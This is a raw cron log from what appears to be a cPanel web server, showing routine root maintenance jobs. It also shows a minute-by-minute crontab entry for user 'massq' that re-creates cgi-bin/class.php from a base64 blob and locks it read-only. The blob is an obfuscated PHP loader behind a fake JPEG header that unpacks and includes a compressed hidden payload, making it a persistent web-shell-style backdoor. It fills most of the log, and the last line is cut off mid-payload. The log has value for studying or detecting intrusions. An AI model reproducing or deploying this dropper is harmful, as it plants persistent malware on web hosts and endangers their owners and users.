Sep  8 00:30:01 server CROND[6427]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 00:30:01 server CROND[6429]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:30:01 server CROND[6435]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 00:30:01 server CROND[6438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:30:01 server CROND[6440]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  8 00:30:01 server CROND[6441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:30:01 server CROND[6444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:30:01 server CROND[6439]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 00:30:01 server CROND[6442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:31:01 server CROND[7493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:31:01 server CROND[7494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:31:01 server CROND[7495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:32:01 server CROND[7860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:32:01 server CROND[7861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:32:01 server CROND[7862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:33:01 server CROND[8239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:33:01 server CROND[8241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:33:01 server CROND[8240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:34:01 server CROND[8604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:34:01 server CROND[8605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:34:01 server CROND[8606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:35:01 server CROND[9085]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:35:01 server CROND[9086]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 00:35:01 server CROND[9088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:35:01 server CROND[9090]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:35:01 server CROND[9094]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 00:35:01 server CROND[9095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:35:01 server CROND[9093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 00:35:01 server CROND[9096]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 00:35:01 server CROND[9097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:36:01 server CROND[10566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:36:01 server CROND[10567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:36:01 server CROND[10568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:37:01 server CROND[10931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:37:01 server CROND[10932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:37:01 server CROND[10933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:38:01 server CROND[11308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:38:01 server CROND[11307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:38:01 server CROND[11306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:39:01 server CROND[11690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:39:01 server CROND[11692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:39:01 server CROND[11691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:39:01 server CROND[11693]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 00:40:01 server CROND[12172]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 00:40:01 server CROND[12173]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 00:40:01 server CROND[12176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:40:01 server CROND[12178]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:40:01 server CROND[12177]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 00:40:01 server CROND[12179]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:40:01 server CROND[12184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:40:01 server CROND[12183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:41:01 server CROND[13026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:41:01 server CROND[13027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouL